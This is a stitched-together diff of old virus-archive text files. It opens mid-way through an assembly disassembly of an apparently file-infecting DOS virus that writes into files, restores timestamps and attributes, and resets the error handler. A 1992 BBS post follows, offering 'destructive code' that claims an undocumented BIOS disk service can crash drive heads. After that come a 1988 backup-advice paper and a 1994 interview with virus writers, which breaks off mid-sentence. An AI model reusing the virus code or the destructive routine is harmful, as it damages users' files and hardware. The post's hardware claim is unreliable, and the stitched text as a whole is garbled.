89167E00 MOV [Y007EH],DX +0000:0536 051007 ADD AX,0710H +0000:0539 83D200 ADC DX,0000H +0000:053C 723A X053C: JB X0578 +0000:053E F7367800 DIV WORD PTR [Y0078H] +0000:0542 0BD2 OR DX,DX +0000:0544 7401 JZ X0547 +0000:0546 40 INC AX +0000:0547 A35300 X0547: MOV Y0053H,AX +0000:054A 89165100 MOV [Y0051H],DX +0000:054E A17C00 MOV AX,Y007CH +0000:0551 8B167E00 MOV DX,[Y007EH] +0000:0555 F7367A00 DIV WORD PTR [Y007AH] +0000:0559 2B065700 SUB AX,[Y0057H] +0000:055D A36500 MOV Y0065H,AX +0000:0560 C7066300C500 MOV WORD PTR [Y0063H],00C5H +0000:0566 A35D00 MOV Y005DH,AX +0000:0569 C7065F001007 MOV WORD PTR [Y005FH],0710H +0000:056F 33C9 XOR CX,CX +0000:0571 8BD1 MOV DX,CX +0000:0573 B80042 MOV AX,04200H +0000:0576 CD21 INT 021H + +"JV.MOC" PAGE 0011 + +0000:0578 720A X0578: JB X0584 +0000:057A B91C00 MOV CX,001CH +0000:057D BA4F00 MOV DX,004FH +0000:0580 B440 MOV AH,040H +0000:0582 CD21 INT 021H +0000:0584 7211 X0584: JB X0597 +0000:0586 3BC1 CMP AX,CX +0000:0588 7518 JNZ X05A2 +0000:058A 8B167C00 MOV DX,[Y007CH] +0000:058E 8B0E7E00 MOV CX,[Y007EH] +0000:0592 B80042 MOV AX,04200H +0000:0595 CD21 INT 021H +0000:0597 7209 X0597: JB X05A2 +0000:0599 33D2 XOR DX,DX +0000:059B B91007 MOV CX,0710H +0000:059E B440 MOV AH,040H +0000:05A0 CD21 INT 021H +0000:05A2 2E833E8F0000 X05A2: CMP WORD PTR CS:[Y008FH],0000H +0000:05A8 7404 JZ X05AE +0000:05AA B449 MOV AH,049H +0000:05AC CD21 INT 021H +0000:05AE 2E833E7000FF X05AE: CMP WORD PTR CS:[Y0070H],0FFFFH +0000:05B4 7431 JZ X05E7 +0000:05B6 2E8B1E7000 MOV BX,CS:[Y0070H] +0000:05BB 2E8B167400 MOV DX,CS:[Y0074H] +0000:05C0 2E8B0E7600 MOV CX,CS:[Y0076H] +0000:05C5 B80157 MOV AX,05701H +0000:05C8 CD21 INT 021H +0000:05CA B43E MOV AH,03EH +0000:05CC CD21 INT 021H +0000:05CE 2EC5168000 LDS DX,CS:[Y0080H] +0000:05D3 2E8B0E7200 MOV CX,CS:[Y0072H] +0000:05D8 B80143 MOV AX,04301H +0000:05DB CD21 INT 021H +0000:05DD 2EC5161B00 LDS DX,CS:[Y001BH] +0000:05E2 B82425 MOV AX,02524H +0000:05E5 CD21 INT 021H +0000:05E7 07 X05E7: POP ES +0000:05E8 1F POP DS +0000:05E9 5F POP DI +0000:05EA 5E POP SI +0000:05EB 5A POP DX +0000:05EC 59 POP CX +0000:05ED 5B POP BX +0000:05EE 58 POP AX +0000:05EF 9D POPF +0000:05F0 2EFF2E1700 JMP CS:[Y0017H] +0000:05F5 0000 X05F5: ADD [BX+SI],AL +0000:05F7 0000 ADD [BX+SI],AL +0000:05F9 0000 ADD [BX+SI],AL +0000:05FB 0000 ADD [BX+SI],AL +0000:05FD 0000 ADD [BX+SI],AL +0000:05FF 004D00 ADD [DI+00H],CL +0000:0602 000F ADD [BX],CL +0000:0604 0000 ADD [BX+SI],AL +0000:0606 0000 ADD [BX+SI],AL + +"JV.MOC" PAGE 0012 + +0000:0608 0000 ADD [BX+SI],AL +0000:060A 0000 ADD [BX+SI],AL +0000:060C 0000 ADD [BX+SI],AL +0000:060E 0000 ADD [BX+SI],AL +0000:0610 CD20 INT 020H +0000:0612 00A0009A ADD [BX+SI+Y09A00H],AH +0000:0616 F0FE1D LOCK CALL [DI] ; NOT VALID +0000:0619 F02F LOCK DAS +0000:061B 018E1E3C ADD [BP+Y03C1EH],CX +0000:061F 018E1EEB ADD [BP+Y0EB1EH],CX +0000:0623 048E ADD AL,08EH +0000:0625 1E PUSH DS +0000:0626 8E1EFFFF MOV DS,[Y0FFFFH] +0000:062A FFFF ??? DI +0000:062C FFFF ??? DI +0000:062E FFFF ??? DI +0000:0630 FFFF ??? DI +0000:0632 FFFF ??? DI +0000:0634 FFFF ??? DI +0000:0636 FFFF ??? DI +0000:0638 FFFF ??? DI +0000:063A FFFF ??? DI +0000:063C 7C1F JL X065D +0000:063E DE3E8D29 ESC 037H,[Y0298DH] +0000:0642 1400 ADC AL,00H +0000:0644 1800 SBB [BX+SI],AL +0000:0646 F1 DB 0F1H +0000:0647 1F POP DS +0000:0648 FFFF ??? DI +0000:064A FFFF ??? DI +0000:064C 0000 ADD [BX+SI],AL +0000:064E 0000 ADD [BX+SI],AL +0000:0650 0000 ADD [BX+SI],AL +0000:0652 0000 ADD [BX+SI],AL +0000:0654 0000 ADD [BX+SI],AL +0000:0656 0000 ADD [BX+SI],AL +0000:0658 0000 ADD [BX+SI],AL +0000:065A 0000 ADD [BX+SI],AL +0000:065C 0000 ADD [BX+SI],AL +0000:065E 0000 ADD [BX+SI],AL +0000:0660 CD21 INT 021H +0000:0662 CB RET ; INTERSEGMENT +0000:0663 0000 X0663: ADD [BX+SI],AL +0000:0665 0000 ADD [BX+SI],AL +0000:0667 0000 ADD [BX+SI],AL +0000:0669 0000 ADD [BX+SI],AL +0000:066B 0000 ADD [BX+SI],AL +0000:066D 2020 AND [BX+SI],AH +0000:066F 2020 AND [BX+SI],AH +0000:0671 2020 AND [BX+SI],AH +0000:0673 2020 AND [BX+SI],AH +0000:0675 2020 AND [BX+SI],AH +0000:0677 2000 AND [BX+SI],AL +0000:0679 0000 ADD [BX+SI],AL +0000:067B 0000 ADD [BX+SI],AL +0000:067D 2020 AND [BX+SI],AH + +"JV.MOC" PAGE 0013 + +0000:067F 2020 AND [BX+SI],AH +0000:0681 2020 AND [BX+SI],AH +0000:0683 2020 AND [BX+SI],AH +0000:0685 2020 AND [BX+SI],AH +0000:0687 2000 AND [BX+SI],AL +0000:0689 0000 ADD [BX+SI],AL +0000:068B 0000 ADD [BX+SI],AL +0000:068D 0000 ADD [BX+SI],AL +0000:068F 0000 ADD [BX+SI],AL +0000:0691 0D6B6F OR AX,06F6BH +0000:0694 6465 JZ X06FB +0000:0696 6572 JNZ X070A +0000:0698 7A2E JPE X06C8 +0000:069A 6578 JNZ X0714 +0000:069C 6520 JNZ X06BE +0000:069E 613A JNO X06DA +0000:06A0 6B6F JPO X0711 +0000:06A2 6465 JZ X0709 +0000:06A4 6572 JNZ X0718 +0000:06A6 2E6578 JNZ X0721 +0000:06A9 650D JNZ X06B8 +0000:06AB 0000 ADD [BX+SI],AL +0000:06AD 0000 ADD [BX+SI],AL +0000:06AF 0000 ADD [BX+SI],AL +0000:06B1 0000 ADD [BX+SI],AL +0000:06B3 0000 ADD [BX+SI],AL +0000:06B5 0000 ADD [BX+SI],AL +0000:06B7 0000 ADD [BX+SI],AL +0000:06B9 0000 ADD [BX+SI],AL +0000:06BB 0000 ADD [BX+SI],AL +0000:06BD 0000 ADD [BX+SI],AL +0000:06BF 0000 ADD [BX+SI],AL +0000:06C1 0000 ADD [BX+SI],AL +0000:06C3 0000 ADD [BX+SI],AL +0000:06C5 0000 ADD [BX+SI],AL +0000:06C7 0000 ADD [BX+SI],AL +0000:06C9 0000 ADD [BX+SI],AL +0000:06CB 0000 ADD [BX+SI],AL +0000:06CD 0000 ADD [BX+SI],AL +0000:06CF 0000 ADD [BX+SI],AL +0000:06D1 0000 ADD [BX+SI],AL +0000:06D3 0000 ADD [BX+SI],AL +0000:06D5 0000 ADD [BX+SI],AL +0000:06D7 0000 ADD [BX+SI],AL +0000:06D9 005718 ADD [BX+018H],DL +0000:06DC 0825 OR [DI],AH +0000:06DE A5 MOVSW +0000:06DF FEC5 INC CH +0000:06E1 07 POP ES +0000:06E2 1E PUSH DS +0000:06E3 0210 ADD DL,[BX+SI] +0000:06E5 07 POP ES +0000:06E6 57 PUSH DI +0000:06E7 18B10D47 SBB [BX+DI+Y0470DH],DH +0000:06EB 0104 ADD [SI],AX +0000:06ED 7F70 JG X075F + +"JV.MOC" PAGE 0014 + +0000:06EF 0010 ADD [BX+SI],DL +0000:06F1 07 POP ES +0000:06F2 1D001C SBB AX,01C00H +0000:06F5 09A20D3D OR [BP+SI+Y03D0DH],SP +0000:06F9 0C1B OR AL,01BH +0000:06FB 02B10D02 X06FB: ADD DH,[BX+DI+Y020DH] +0000:06FF F24D REPNE DEC BP +0000:0701 360E PUSH CS +0000:0703 0300 ADD AX,[BX+SI] +0000:0705 0000 ADD [BX+SI],AL +0000:0707 00EE ADD DH,CH +0000:0709 002A X0709: ADD [BP+SI],CH +0000:070B 0F POP CS +0000:070C 42 INC DX +0000:070D 01C1 ADD CX,AX +0000:070F 0DB44C OR AX,04CB4H +0000:0712 B000 MOV AL,00H +0000:0714 CD21 X0714: INT 021H +0000:0716 4D DEC BP +0000:0717 7344 JAE X075D +0000:0719 6F73 JG X078E + + + + + Another file downloaded from: NIRVANAnet(tm) + + & the Temple of the Screaming Electron 415-935-5845 + Just Say Yes 415-922-1613 + Rat Head 415-524-3649 + Cheez Whiz 408-363-9766 + Reality Check 415-474-2602 + + Specializing in conversations, obscure information, high explosives, + arcane knowledge, political extremism, diversive sexuality, + insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS. + + Full access for first-time callers. We don't want to know who you are, + where you live, or what your phone number is. We are not Big Brother. + + "Raw Data for Raw Nerves" + + diff --git a/textfiles.com/virus/killhead.vir b/textfiles.com/virus/killhead.vir new file mode 100644 index 00000000..35bb20f9 --- /dev/null +++ b/textfiles.com/virus/killhead.vir @@ -0,0 +1,32 @@ +99/100: RE: ... +Name: Spartacus #48 @892 +Date: Sunday, August 30, 1992 1:59 pm +From: Night Light BBS [908-892-6723] + +Reply to: Soth Amon #1 @2017 + +All right. Here it is (relevant destructive code only)... + +CHOP DB 127 255 254 252 245 230 210 180 150 120 90 60 30 0 + +;Heights as in a common karate technique. + +... +BREAKIT: MOV SI,CHOP + MOV CX,000E ;# of positions + MOV DX,0080 ;first fixed disk, head 0. + MOV AH,35 ;little known BIOS service that controls + ;head height (int 13, serv 35). +KILLIT: LODSB + INT 13 ;call the service + ;there is some inbuilt delay as the head moves + DEC CX + JNZ KILLIT +... + +Note: This code WILL NOT break a Bernoulli Box cartridge, although it creates +many physical errors due to scratching and may destroy the head. + + + + Sub: Virus Discussion diff --git a/textfiles.com/virus/levine.pap b/textfiles.com/virus/levine.pap new file mode 100644 index 00000000..57c0941e --- /dev/null +++ b/textfiles.com/virus/levine.pap @@ -0,0 +1,240 @@ +Date: Thu, 15 Sep 88 10:29:56 CDT +From: Len Levine +Subject: Popular Level Paper + +Not to be outdone by a couple of mere students, I am submitting my +paper that was first entered here in rough form. It was published +this week in the UWM campus computing newsletter and is at a lower +level than the Keil and Lee paper that I read here this week. It +serves a different audience. Thanks to those of you who made +suggestions, I took some of them. + + + Potential Virus Attack + by + L. P. Levine + + There has been talk recently about the presence of virus programs +running on office computers. There now are a significant number of such +machines on this campus. If a virus does infect a significant number of +machines here it is possible that many office IBM compatible (or Macin- +tosh) machines will fail or lose files on the same day. It will be a +very unpleasant time and our professional staff will be overwhelmed by +requests for help and will take some time (weeks) to get the recovery +process under way. Most of us are unaware of how dependent we have +become on these desktop machines and how much we will be affected by the +loss of data that may ensue. + + Perhaps we should define some terms here. There are two computer +program elements that need definition. + + First is a Trojan Horse program. This sort of program, like its +historical namesake, has two functions. On the "outside" it does some- +thing to encourage the user to run it. Typically, Trojan Horse programs +may be games, small support programs, such as directory listers, or even, +in one case already on record, commercial software packages. On the +"inside" however, the program does something unfriendly to the computer +on which it runs. Some Trojan Horse programs delete files, some reset +clocks, some mark disk areas as unusable and some change the operating +system of the computer. The most destructive of them cause other pro- +grams to change their nature, usually by adding instructions to those +programs that make them Trojan Horse programs as well. These added +instructions are often called computer viruses. + + A computer virus is a portion of a program that does not run alone, +but requires another program to support it. In this sense it is like a +biological virus, requiring a cell for a host in order to allow it to +work. Since it does not run alone, it does not appear in any directory +and is never directly executed. It moves from program to program by +making each program to which it is attached (infected so to speak) a +Trojan Horse program for further software infection. A virus may be +programmed to appear to do nothing for a long time (remain dormant), and +then, when some trigger event occurs, do whatever it is programmed to do. +The movement of a virus program element from machine to machine occurs +when a Trojan Horse program is run on that machine. + + If a virus program element infects our office machines, then not +only will the company's office machines be affected, but the home ma- +chines that many staff members now have will also have their files af- +fected by the very same virus, and at the same time. If you are prepar- +ing a paper for publication, writing or working on an exam, or preparing +some important correspondence, you may well find that your machine read- +able copies of that material will become unusable both at home and at the +office. + + This paper discusses some evasive action that you can do now to +prepare for the return of your machine to working order. What I am +recommending in this paper is no more than good housekeeping and is a +practice that each of us should do anyhow, with or without the threat of +some mysterious computer virus. + + What I will discuss for the next few paragraphs applies to users who +have machines with either a floppy disk drive and a hard disk drive or +have two floppy disk drives on their computers. + + Step one: Locate the original source disks for the operating system +you are now using on your computer. This may no longer be the system +delivered with your machine, you may well have had an upgrade. DO NOT +PUT THESE DISKS INTO YOUR FLOPPY DRIVE YET. Secure a few dozen write- +lock tabs and put one on each of the delivery system disks. (When you +hold a disk upright the right side of the disk has a 1/4" square notch +cut into the black paper jacket. The write-lock tabs are black or alumi- +num colored gummed paper tags about 3/4" X 1/2" that can be stuck over +the edge of the disk covering the front and back of this notch. When +that tab is in place it is not possible for the computer to write infor- +mation onto a floppy disk.) + + Only after you have write-locked these disks should you put the disk +into the computer and compare the system on that disk with the system you +are using. STOP AND READ THE NEXT SENTENCE! The simple act of executing +the DIR command on an unlocked disk is enough to infect that disk with a +virus if your system is already infected and if the disk is not write- +locked. I am not kidding. There is a very small probability that your +system is already infected. I recommend that you compare the date and +size of the file COMMAND.COM on your original source disks and on your +working disk or disks to see that they are the same. For my system the +results look like this: + + ------------------------------------ + C> dir a:\command.com + + Volume in drive A is MS330PP01 + Directory of A:\ + + COMMAND COM 25276 7-24-87 12:00a + 1 File(s) 5120 bytes free + + C> dir c:\command.com + + Volume in drive C has no label + Directory of C:\ + + COMMAND COM 25276 7-24-87 12:00a + 1 File(s) 7391232 bytes free + ------------------------------------ + + Note that both copies of COMMAND.COM have the same date and time of +creation (midnight on July 24th 1987) and both are the same size (25,276 +bytes). The numbers for your machine may well differ from mine, but both +should be the same. When those disks have been found, put them away in a +safe place. I recommend that they be put in a plastic storage box not +too near your computer. + + Step two: There are a small number of software packages that you +would be lost without. In my case they include WordStar, dBase III, +PKARC, Kermit, and Directory Scanner. These packages may well be pur- +chased commercial software (WordStar, dBase III), shareware (PKARC, +Directory Scanner), and freeware (Kermit). In each case you should have +an original source delivery disk for each of these packages. Find those +disks, WRITE LOCK THEM, compare them with the copies you are now using, +and put them in a safe place. I recommend that they be put with the +system disks discussed above. (It is probably true that the creation +dates for the running copies of this sort of software will disagree with +the creation dates for the delivery disks. Installation of many of these +packages entails writing to the program. That is not a problem.) + + Step three: Using the backup procedure of your choice, perform a +backup of the system files on your computer. If I was using a dual +floppy based system, I would simply make copies of my working WordStar, +dBase III, PKARC, Kermit, and Directory Scanner disks. If I was using a +computer with a floppy and a hard disk, I would use backup-restore, or +Fastback or some other package to back up the directories C:\WS, C:\DB3, +C:\ARK, C:\KERMIT and C:\DS. (Of course these directories have different +names on your system.) Write lock these backup disks. Label them with +today's date. Using your backup system compare the disks you have just +backed up with the disks you are using to ensure that the backup "took". +Put the backup disks in a safe place. This will tie up half a dozen +disks, but with disks now costing $0.35 each, you will probably find the +$2 investment worth while. + + Step four: (This applies to those users who use hard disk based +computers.) Prepare a backup procedure that will permit incremental +backups. This will entail backing up the entire system once, and then +periodically backing up those files that have changed since the last +backup. + + Perform such incremental backups regularly. After several such +incremental backups, the size of the backup set will become quite large. +At that time, put the backup set away in a safe place and begin with +another set of disks for a full system backup followed by several incre- +ments. When the second set is full, put them away and return to the +first set. This will afford a very secure set of backup files. I find +that 50 disks makes a good backup set. Thus 100 disks would be used for +the double backup group. I suspect that most users would need to do a +full backup about 4 to 8 times per year, requiring about 1/2 hour of +manipulation and should do incremental backups about twice per week, +requiring less than 5 minutes. + + (It is a very good idea to periodically test the backup system with +a verification of what you have backed up. Most file backup systems have +a Verify command to do this sort of test.) + + Step five: Go back to your useful work. + + Recovery from the loss of one or a few files: + + Sooner or later you will lose some files. They will disappear +without apparent cause and you will blame the problem on a virus. It is +my experience that in cases like this no virus is involved, the loss of +files will be due to an operator error. If you have been doing incremen- +tal backups, then the simplest corrective action is to use the recover +feature of the backup system that you are using and simply restore the +latest copy of the lost file(s) to the hard disk. If you have been +conscientious in your backup practice, then the loss of work will entail +just a few minutes or, at most, a few hours of rework. + + Recovery from the loss of the entire system: + + It may happen that the entire hard disk seems to be lost. This is +serious but, in most cases, is likely not the result of a virus. Most +failures of the hard disk are due to hardware problems. The best solu- +tion is to repair the hardware if the technical people judge that that is +the problem, and then, after reformatting the hard disk, restore the +system from your latest backup. Almost without fail, this will result in +a complete return to a normal system. + + Really bad news, the restore does not work: + + This may well be the point of this memo. If a virus has been plant- +ed in your system and has been set to trigger on some event, then the +only way to recover is to rebuild the system from scratch using the write +locked set of disks that I advised you to prepare above. If these disks +are not write locked, and if you mount them onto an infected system, then +the disks will be infected in turn and you may well be unable to restore +>From a clean, uninfected source without returning to the system vendor +for a fresh copy of each of your executable programs. On the assumption +that you first build your system again from scratch, you may restore all +of the data files from your backup set. (A data file is one that does +not have the extension .com, .exe, or .sys.) Any other file should not +be able to carry a virus either between systems or over the backup proc- +ess. + + Some facts: + + There is no reason ever to boot the system from a foreign disk whose +history you are not prepared to trust. (For example, booting from a copy +protected version of Lotus 1-2-3 is as secure as the Lotus corporation +can make it.) + + There is no reason why a disk used to transport data between ma- +chines should have a copy of the files io.sys, msdos.sys, ibmio.sys, +ibmdos.sys or command.com on it. + + No system to date has been infected by the transport to it of data +files. Only executable files (including device drivers and the operating +system itself) can be used as Trojan Horse programs. + + Leonard P. Levine + Professor + Department of Computer Science + College of Engineering and Applied Science + University of Wisconsin-Milwaukee + Milwaukee, Wisconsin 53201 + + (414) 229-5170 + (414) 962-4719 + + + + + diff --git a/textfiles.com/virus/lminterv.iew b/textfiles.com/virus/lminterv.iew new file mode 100644 index 00000000..528df979 --- /dev/null +++ b/textfiles.com/virus/lminterv.iew @@ -0,0 +1,1080 @@ +Faces Behind the Masks + by Sara Gordon + +- this interview was featured in "Secure Computing" magazine in August +through November 1994 + +=============================================================================== + +(the following is the text which appeared before the interview - this was +*not* written by Ms. Gordon) + +"Who are they? Why are they doing it? Virus authors have been seen as +paranoid, secretive, anti-social but are they? In this article two +legendary virus authors give their reasons for doing what they did." + +"One of the perennial questions is why do they do it? Often asked at +conferences and seminars, ordinary folk want to know why virus authors +write viruses. The desire to understand - as some sort of process to +build effective defences against viruses - is very strong. This month +sees the start of a series in which Sara Gordon interviews two legendary +figures in the virus community. + +One of the difficulties in understanding viruses, virus authors and the +virus community is the inherent secrecy and paranoia of its population. +However, the anti-virus community does communicate although it is always +via e:mail on the Internet - never directly. + +As with the interview with the Dark Avenger printed in Virus News +International last year, Sara Gordon has taken considerable care to +establish that the respondents are genuine. Sara Gordon is herself a +professional in the area of Cyberspace - a collective term for all +on-line systems. + +Pseudonyms taken by virus authors are meant to conceal their true +identity. They are also a means of donning another character - typical +of the sort of thing done by fantasy-games players (although this is not +to suggest that such games players are involved in nefarious +activities). Names like Dark Avenger, Hellraiser, Black Baron and +Lucifer Messiah give a certain presence to what are just ordinary folk. + +Current research indicates that most virus authors are adolescent +males. As with other habitues of on-line systems many live out an +existence which is alotgether more exciting - swashbuckling, even - than +their more humdrum lives in real life. + +Another aspect of interviewing members of this community is that the +communication is always written. Some of the respondents' writing +skills (and this is not meant to be a derogatory) are not that high and +so they tend to come across less well than they would, for example, in a +telephone interview. To some extent the on-line community has tried to +short-cut some of the deficiencies of the medium by introducing symbols +which indicate the tone of the written comment. These are called +emoticons of which the sideways smiley :) is the most common. + +Virus writing is widely regarded as an anti-social, and in some quarters +illegal, activity. We take a neutral position for the purpose of this +series of interviews. While it may be more comfortable to adopt the +moral high-ground, it does not actually contribute to the solution." + +============================================================================== + +Lucifer Messiah: the name is chilling, but the man behind the mask is +one of the most decent people I have ever spoken to. Hellraiser: more +demonic images of youth gone mad? He too has proven to be a bright and +charming young man. + +These two have more in common than their satanically-inspired aliases. +Both are members of virus writing groups; both have written and +allegedly distributed computer viruses. There is, however, one +difference. Lucifer Messiah writes viruses and is now affiliated with +PCScav, a computer 'research' group based in Canada. Hellraiser, a +member of the Phalcon/Skism virus writing group, says he has stopped +writing viruses. + +My introduction to Lucifer Messiah, who also uses the alias Chris Boyd, +came about this year. I have known Hellraiser for approximately two +years. They have had similar experiences, but have taken radically +different paths. Why is one still writing viruses, while the other has +left it all behind? I decided the best way to find out was to ask +them. Here are some insights into the minds of these two individuals. + +Q: People are always curious as to why a virus writer writes viruses. I +have found there are no 'simple answers', but if you had to give one +'reason' what would it be? + +Lucifer: The intrigue of coming up with new technologies. I enjoy +making the computer do what it isn't supposed to be able to do. + +Hellraiser: All throughout my life I have been involved with the +negative side of my pastimes. For instance, when I was younger I was an +heavily into art, but instead of doing my work on a canvas with oils - I +did it on a wall with spray paint. + +Naturally when it came to computers I once again found myself on the +'dark side'. Instead of writing utility programs and such, I started +writing viruses. Instead of calling BBS systems I started hacking into +computer systems. It is best wrapped up by saying - I find it much +easier to accomplish negative actions, than positive - thus my drive for +writing viruses. + +Q: At what age did you become involved with computers (not viruses). Can +you describe your initial experiences with computers? How were you +taught; by yourself, or by an instructor, parent or friend? + +Lucifer: 14 years old. I got a Vic 20 at the Yule. They boot up in +Basic, so I learned from that. The magazines were very helpful. I got +some Tandy I think not too long after that. I took Computer through +high school as well. + +Hellraiser: I would have to say around the age of 13 or 14. That +Christmas, I got my first home computer, an Atari XE with 8Kb of RAM! +After begging my parents for two weeks I got a storage device for it (a +data cassette drive) to save all of my Basic programs. There wasn't +much to do on the system, being as how I had no software - much less a +modem. So I typed in hundreds of lines of Basic code (10 lines of Basic +code, hundreds of data statements) from magazines like Compute. + +I started to learn Basic myself off these examples, and in no time I was +good enough to scare the hell out of my neighbors' little brother with +an incredible War-Games simulation (the fact there was a thunderstorm +that day that really added to the effect). All the great XE action +ended abruptly when I smashed the damn thing in a fit of anger after I +couldn't load the Space Invaders game [I] blew eight dollars on. + +After the XE days my only contact with computers was at school. I +worked with such relics as the TRS-80, Apple IIE, and the original IBM +PC in high school (I am hinting [at] my age). About all I did was +program little junk programs in Basic, and mess around the machine +code. Nothing spectacular. + +It was a few years later that I was able to use a computer again, when +my father brought home a new 286 clone. To top it off, the thing had a +1200 bps modem. From then on I have become a true computer hacker (in +the good and bad sense of the word). + +Q: What different operating systems did you learn, and in what order did +you learn them? + +Lucifer: I started with Basic. The Vic 20 doesn't really have an +operating system. After that, whatever the name of the Tandy operating +system was. There no such thing as DOS yet. Maybe it was a hybrid +CP/M. In school, it was AT&T UNIX all along. I never used DOS until 3 +years ago. I don't really like it. + +Hellraiser: I have to say that DOS was the first full O/S that I +learned, which I taught myself. Later on I picked up UNIX by hacking +into systems and just playing around. I played with VMS for a small +amount of time but found it very boring. And lately I have been +learning the new GUIs - OS/2 and Windows/NT. All of which I taught +myself. + +Q: What different languages did you learn, and in what order did you +learn them? + +Lucifer: I started programming in FORTRAN. I hated it. I hate math! +Then Pascal and C came along, and I was in heaven. When I learned about +assembly, I stopped programming in Pascal altogether, and only sometimes +in C. I also use APL, the different varieties of AWK, ummm, Lisp, a +little COBOL. I'm not showing off. This is what we had to learn in +school. + +Hellraiser: As I mentioned above - Basic was my first language. Much +later on (when I got a PC) I picked up Pascal and started writing cool +little utilities and BBS doors. When the whole virus thing came into +play, I knew I had to learn ASM, and fast. So that was the next step. +After I stopped coding viruses, I picked up C. At this time I am +learning C++. + +Q: What is the highest level of education you have completed? + +Lucifer: 3 years of college. + +Hellraiser: I left college after two years for financial reasons. + +Q: Do you plan to go further in school? If you do, why? If not, why not? + +Lucifer: No. I'm 27 years old! I may take the odd night [school] +course. I've been enjoying the presentations put on by Intel, and that +sort of thing. I guess that's an education. + +Hellraiser: If I could, I would at the drop of a dime. The problem is I +don't have the money for it. Plus I have a life and responsibilities. +Right now and I would find it very hard to drop them all to go back to +school. Let's just say the only way I might get back into school is if +I come into a lot of money real quick. + +Q: What person, non virus writer (non computer related), do you have +the most respect for. + +Lucifer: My mother, I guess. She's really cool. + +Hellraiser: I would have to say, my mother. She has been though a lot +of strife over the years, a large portion of which is my fault. Yet she +still stays happy and positive. I could never be that way. + +Q: What person, non virus writer (non computer related), do you have the +most disrespect for? + +Lucifer: Bob Rae/Kim Cambell/Brian Mulroney. They are all actually +incarnates of each other. They are a 'collective', each branching from +past lives as hedgehogs with brains the size of peas. + +Hellraiser: I can't pick just one person so I have to say politicians, +because they get away with so much stuff; stuff that would have me or +you in jail for life. When they get caught all they get is a slap on +the wrist. If I bounced hundreds of checks where would I be right now? + +Q: Now, what person computer related (non virus writer) do you have most +respect for? + +Lucifer: You. Just kidding. Do I get more brownie points? + +I used to respect Peter Norton because he had the coolest software, but +he has been really slipping. His latest books leave much to hope. I +really respect Bill Gates. I don't necessarily like his DOS, but I sure +like what he has with it! $$$$$$ + +Hellraiser: That's a tough one. The problem is I can not think of +anybody computer related I have a tremendous amount of respect for. +Don't get me wrong I have respect for a lot of people in the field, but +I can't pinpoint anyone in general. + +Q: What person, computer related, but still non-virus writer, do you +have most disrespect for? + +Lucifer: Ross Greenberg. Where does he get his facts from? He is so +full of it! + +Hellraiser: I would have to say Bill Gates. I know he has accomplished +a lot for himself, and he is a person that should be admired, but I just +do not trust him. I don't like the way he makes billions off +poorly-made products that sell just because of the name Microsoft. It's +like the emperor's new clothes, and Bill is very naked. + +Q: What virus writer do you have the most respect for? + +Lucifer: None, really. I don't like to lick boots. I find Dark +Avenger's ideas to be grand, but his programming is sloppy. Perhaps the +guys from Trident. Their Cruncher viruses were much smaller than Cohen +ever imagined. + +Hellraiser: No doubt, Dark Angel. Not only is he a good friend, but +he's is a very smart person. What really makes me respect him is his +willingness to teach. That aspect is very rare for a virus writer. + +Q: What virus writer do you have most disrepect for? + +Lucifer: All of NuKE. + +Hellraiser: Rock Steady. This guy knows about as much as I did two +years ago and he never stops bragging about how great he is. He's sort +of the 'Bill Gates' of the virus world. He controls lame people with +hype for lame product. I hate this guy. + +Q: Can you describe for me your initial (first) experience with a virus +writing group. This does not have to be the first group you joined or +created or worked with or for. I mean, the first time you ever heard of +a group, please tell me your impressions as you remember them. Please +be as specific as possible. + +Lucifer: I played around with a Scandanavian hacking group. I don't +want to get into details about that scene. They aren't just a hacking +group, as you know. You probably heard what they did at NASA three +years ago. + +A guy I went to school with in Sweden showed me computer virus. It was +the Stoned. The whole concept of it blew me away. My second contact +was with the Ontario virus. I wrote a new version of it. You already +know that story. + +I was hacking on the telephone way before I ever learned about viruses. +I don't do that anymore, though. It's too scary. + +Hellraiser: It had to be long before I actually knew anything about the +computer underground. I was writing (hacking) viruses on my own at the +time. Then one day I was on a BBS, Patti Hoffman's VSUM. Wow! A +listing of all known viruses. + +The thing that really got me was the name Rabid kept showing up. Being +at the time I couldn't tell a good virus from a bad one, I thought these +guys [were] awesome. That is what got me into the group thing. It +wasn't until much later that I figured out that they were a bunch of +lamers. + +============================================================================== + +"How did it all start? Whose idea was it initially? What is the +philosophy of the group? In this second article the two legendary virus +authors, in their indepth interview with Sara Gordon, throw further +light on their reasons for doing what they do - or did." + +"One of the perennial questions asked of virus writers is why do they do +it? The interview recorded below tries to get under the skin of two +notable figures from the virus community. + +A serious difficulty when it comes to understanding viruses, virus +authors and the virus community is the inherent secrecy and paranoia of +its population. However, the anti-virus community does communicate +although invariable via e:mail on the Internet. Sara Gordon has +conducted a series of on-line interview with two self-confessed virus +authors, Lucifer Messiah and Hellraiser." + +============================================================================== + +Q: If you are part of a group now [which you are, I think :)], please +tell me as completely as possible how you got involved with the group. +Such as, met via modem, met in person, went to school with, etc.. + +Lucifer: At the start, there was no group. It was just a bunch of guys +who liked to hang around. We usually were in some kind of trouble or +another. + +Did you ever see the movie Clockwork Orange? We wanted to be like +droogies. We got into telephone hacking. The group actually formed +around that. We all had computers. Remember this was in school, too. +Really, i didn't my own computer at first with them. Me and another guy +split costs because we lived near each other. Soon we had names. + +All my friends always called me Lucifer Messiah. I am a religious type +of person. People were always afraid of me because I always wear black, +and have very long hair. This was not normal then, with leather and +studs. They called me Lucifer first. When they found that I was not a +Satanist, they called me Jesus. I had a sweater with a hood, so I used +to act like it. Some people called it my satanic robe, and others my +Jesus clothes. Now it is Lucifer Messiah. + +Blodigt Kors got his name because that was his rock band name. It means +bloody cross. He was (the) Satanist not me! There is another guy +called Jackal. He helped out with forming a group. We were looking for +chaos. Chaos was hacking, phreaking and viruses when they came. + +Three years ago I moved to Canada because of my job. I work with +networks. I kept the group going. I met SCEB, who is Supreme Commander +Electro-Brainwave. He's a weird kind of guy who everybody thought was a +copy. He looked like a lawyer, and enjoyed changing his accent to a new +one every day. + +He is a phreaking big time. The two of us put ANARKICK SYSTEMS +together. We stayed close with the group in Sweden. There were about +ten of us here, and 15 over there. the viruses that SCEB and I write +never had names in them until the Ontario thing happened. Now we put AS +on everything. + +Last year the group in Sweden got busted really bad. ANARKICK SYSTEMS +is now just a fragment, and we just get together now and again to talk +about new technologies, and show off our new codes and ideas that we +create. Most of what we do is not released, and that is probably good. + +Hellraiser: Well, here is the whole story. When I was going to college +I met up with a few people who were interested in computers. None of +which knew anything about the underground, myself included. We would +sit in the computer lab and do stupid things like hacking into the +Novell network and read people's papers. We added a menu system to the +school's network, which upon entering the right password would let you +play games and look at nasty 